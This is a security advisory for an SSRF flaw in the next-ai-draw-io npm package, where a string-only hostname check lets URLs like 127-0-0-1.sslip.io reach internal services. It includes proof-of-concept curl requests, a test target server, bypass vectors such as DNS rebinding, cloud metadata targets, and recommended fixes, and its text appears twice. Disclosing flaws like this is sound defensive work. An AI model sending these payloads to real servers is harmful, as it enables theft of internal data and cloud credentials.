Summary
The /api/parse-url endpoint fetches and extracts article content from a caller-supplied URL server-side. Its SSRF guard (isPrivateUrl() in lib/ssrf-protection.ts) performs string-only hostname matching — it never resolves DNS. An attacker can supply a hostname that passes the string check but resolves to an internal IP (e.g. 127-0-0-1.sslip.io → 127.0.0.1), causing the server to fetch arbitrary internal HTTP services and return their content to the caller. No authentication is required.
Affected Product
| Field |
Value |
| Ecosystem |
npm |
| Package |
next-ai-draw-io |
| Affected versions |
<= 0.4.16 |
| Patched versions |
(pending) |
Weaknesses
- CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action
- CWE-918: Server-Side Request Forgery (SSRF)
Severity (CVSS v3.1)
- Score: High
- Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Details
lib/ssrf-protection.ts — isPrivateUrl() compares the URL's hostname against a hardcoded blocklist of string literals and IPv4 patterns, without ever calling dns.lookup():
const hostname = url.hostname.toLowerCase() // pure string, no DNS lookup
if (hostname === "localhost" || hostname === "127.0.0.1" || ...) return true
const ipv4Match = hostname.match(/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/)
if (ipv4Match) { /* check RFC-1918 ranges */ }
// Hostnames that look public (e.g. "127-0-0-1.sslip.io") return false → allowed
return false
A hostname such as 127-0-0-1.sslip.io passes every check. The subsequent fetch() / extract() calls in app/api/parse-url/route.ts resolve DNS via the OS resolver, at which point the hostname resolves to 127.0.0.1 and the request reaches internal services.
// app/api/parse-url/route.ts
// Line 34 — SSRF check: string-only, DNS never resolved
if (isPrivateUrl(url)) {
return NextResponse.json({ error: "Cannot access private/internal URLs" }, { status: 400 })
}
// Line 43 — HEAD pre-check: fetch() resolves DNS here → reaches internal host
const headResponse = await fetch(url, { method: "HEAD", ... })
// Line 74 — Full extraction: downloads and returns page content to caller
article = await extract(url, undefined, { headers: { "User-Agent": USER_AGENT } })
The route converts the fetched HTML to Markdown via Turndown and returns it verbatim to the HTTP caller — a read SSRF with full content exfiltration.
Additional Bypass Vectors
- HTTP redirect chains —
fetch()/extract() follow redirects without re-validating the destination IP. A public URL that 302-redirects to http://127.0.0.1:PORT/ bypasses the guard entirely.
- Attacker-controlled DNS — any domain the attacker controls whose A record points to
127.0.0.1 or any RFC-1918 address bypasses string matching.
- DNS rebinding — serve a public IP for the initial DNS TTL, then switch to
127.0.0.1 before the server's extract() call resolves.
Proof of Concept
Environment:
- Application:
next-ai-draw-io@0.4.16, Next.js dev server on http://localhost:6002
- Internal target: plain HTTP server bound exclusively to
127.0.0.1:9099 serving a secret credential token — unreachable from outside
- DNS bypass:
sslip.io (public DNS; 127-0-0-1.sslip.io resolves to 127.0.0.1)
- No authentication header required
Step 1 — Start the internal target (simulates an internal admin/metadata service):
node -e "
const http = require('node:http')
const SECRET = 'SSRF_PROOF_2f9c7a1e-INTERNAL-METADATA-TOKEN'
http.createServer((req, res) => {
console.log('[HIT]', req.method, req.url)
res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' })
res.end(\`<!DOCTYPE html><html><head><meta charset='utf-8'>
<title>INTERNAL ADMIN — Cloud Credentials</title></head><body><article>
<h1>Internal Infrastructure Console</h1>
<p>Active cloud credential token: \${SECRET}.</p>
</article></body></html>\`)
}).listen(9099, '127.0.0.1', () => console.log('Internal target listening on 127.0.0.1:9099'))
"
Step 2 — Control A: raw loopback IP is correctly blocked
curl -s -X POST http://127.0.0.1:6002/api/parse-url \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:9099/"}'
# {"error":"Cannot access private/internal URLs"}
Step 3 — Control B: localhost is correctly blocked
curl -s -X POST http://127.0.0.1:6002/api/parse-url \
-H "Content-Type: application/json" \
-d '{"url":"http://localhost:9099/"}'
# {"error":"Cannot access private/internal URLs"}
Step 4 — Exploit: sslip.io DNS bypass
curl -s -X POST http://127.0.0.1:6002/api/parse-url \
-H "Content-Type: application/json" \
-d '{"url":"http://127-0-0-1.sslip.io:9099/"}'
Response (HTTP 200):
{
"title": "INTERNAL ADMIN — Cloud Credentials",
"content": "## Internal Infrastructure Console\n\nActive cloud credential token: SSRF_PROOF_2f9c7a1e-INTERNAL-METADATA-TOKEN...",
"charCount": 512
}
The server fetched http://127.0.0.1:9099/ and returned the internal page content to the unauthenticated attacker. The internal target's console prints [HIT] GET /, confirming the Next.js server originated the request.
Note: extract() converts HTML to Markdown via Turndown, which backslash-escapes characters like _ and -. Stripping backslashes from the response recovers the exact original token.
Impact
| Dimension |
Detail |
| Who is affected |
Any deployment of next-ai-draw-io reachable by an attacker, including developer machines and cloud-hosted instances |
| Authentication required |
None — the endpoint is publicly accessible |
| What an attacker can read |
AWS/GCP/Azure instance metadata (169.254.169.254) to steal IAM credentials; internal admin panels and config APIs; any HTTP service on 127.0.0.1 or RFC-1918 addresses |
| Blind SSRF? |
No — full content of internal HTTP responses is returned verbatim to the attacker |
Recommended Fix
Fix 1 — Resolve DNS before validating (primary fix):
import { promises as dns } from "node:dns"
async function isPrivateUrlSafe(urlString: string): Promise<boolean> {
const url = new URL(urlString)
const hostname = url.hostname
if (isPrivateHostname(hostname)) return true
try {
const addresses = await dns.lookup(hostname, { all: true })
return addresses.some(({ address }) => isPrivateIp(address))
} catch {
return true // DNS failure → block
}
}
function isPrivateIp(ip: string): boolean {
const parts = ip.split(".").map(Number)
const [a, b] = parts
return (
a === 127 || a === 10 ||
(a === 172 && b >= 16 && b <= 31) ||
(a === 192 && b === 168) ||
(a === 169 && b === 254)
)
}
Fix 2 — Block redirect chains from resolving to private IPs:
fetch(url, { redirect: "manual" })
Reporter: @HK4zCzi (Hồ Việt Khánh)
Advisory: GHSA-wqcv-5qvx-vx75
Summary
The
/api/parse-urlendpoint fetches and extracts article content from a caller-supplied URL server-side. Its SSRF guard (isPrivateUrl()inlib/ssrf-protection.ts) performs string-only hostname matching — it never resolves DNS. An attacker can supply a hostname that passes the string check but resolves to an internal IP (e.g.127-0-0-1.sslip.io→127.0.0.1), causing the server to fetch arbitrary internal HTTP services and return their content to the caller. No authentication is required.Affected Product
next-ai-draw-ioWeaknesses
Severity (CVSS v3.1)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:NDetails
lib/ssrf-protection.ts—isPrivateUrl()compares the URL's hostname against a hardcoded blocklist of string literals and IPv4 patterns, without ever callingdns.lookup():A hostname such as
127-0-0-1.sslip.iopasses every check. The subsequentfetch()/extract()calls inapp/api/parse-url/route.tsresolve DNS via the OS resolver, at which point the hostname resolves to127.0.0.1and the request reaches internal services.The route converts the fetched HTML to Markdown via Turndown and returns it verbatim to the HTTP caller — a read SSRF with full content exfiltration.
Additional Bypass Vectors
fetch()/extract()follow redirects without re-validating the destination IP. A public URL that 302-redirects tohttp://127.0.0.1:PORT/bypasses the guard entirely.127.0.0.1or any RFC-1918 address bypasses string matching.127.0.0.1before the server'sextract()call resolves.Proof of Concept
Environment:
next-ai-draw-io@0.4.16, Next.js dev server onhttp://localhost:6002127.0.0.1:9099serving a secret credential token — unreachable from outsidesslip.io(public DNS;127-0-0-1.sslip.ioresolves to127.0.0.1)Step 1 — Start the internal target (simulates an internal admin/metadata service):
Step 2 — Control A: raw loopback IP is correctly blocked
Step 3 — Control B: localhost is correctly blocked
Step 4 — Exploit: sslip.io DNS bypass
Response (HTTP 200):
{ "title": "INTERNAL ADMIN — Cloud Credentials", "content": "## Internal Infrastructure Console\n\nActive cloud credential token: SSRF_PROOF_2f9c7a1e-INTERNAL-METADATA-TOKEN...", "charCount": 512 }The server fetched
http://127.0.0.1:9099/and returned the internal page content to the unauthenticated attacker. The internal target's console prints[HIT] GET /, confirming the Next.js server originated the request.Note:
extract()converts HTML to Markdown via Turndown, which backslash-escapes characters like_and-. Stripping backslashes from the response recovers the exact original token.Impact
169.254.169.254) to steal IAM credentials; internal admin panels and config APIs; any HTTP service on127.0.0.1or RFC-1918 addressesRecommended Fix
Fix 1 — Resolve DNS before validating (primary fix):
Fix 2 — Block redirect chains from resolving to private IPs:
Reporter: @HK4zCzi (Hồ Việt Khánh)
Advisory: GHSA-wqcv-5qvx-vx75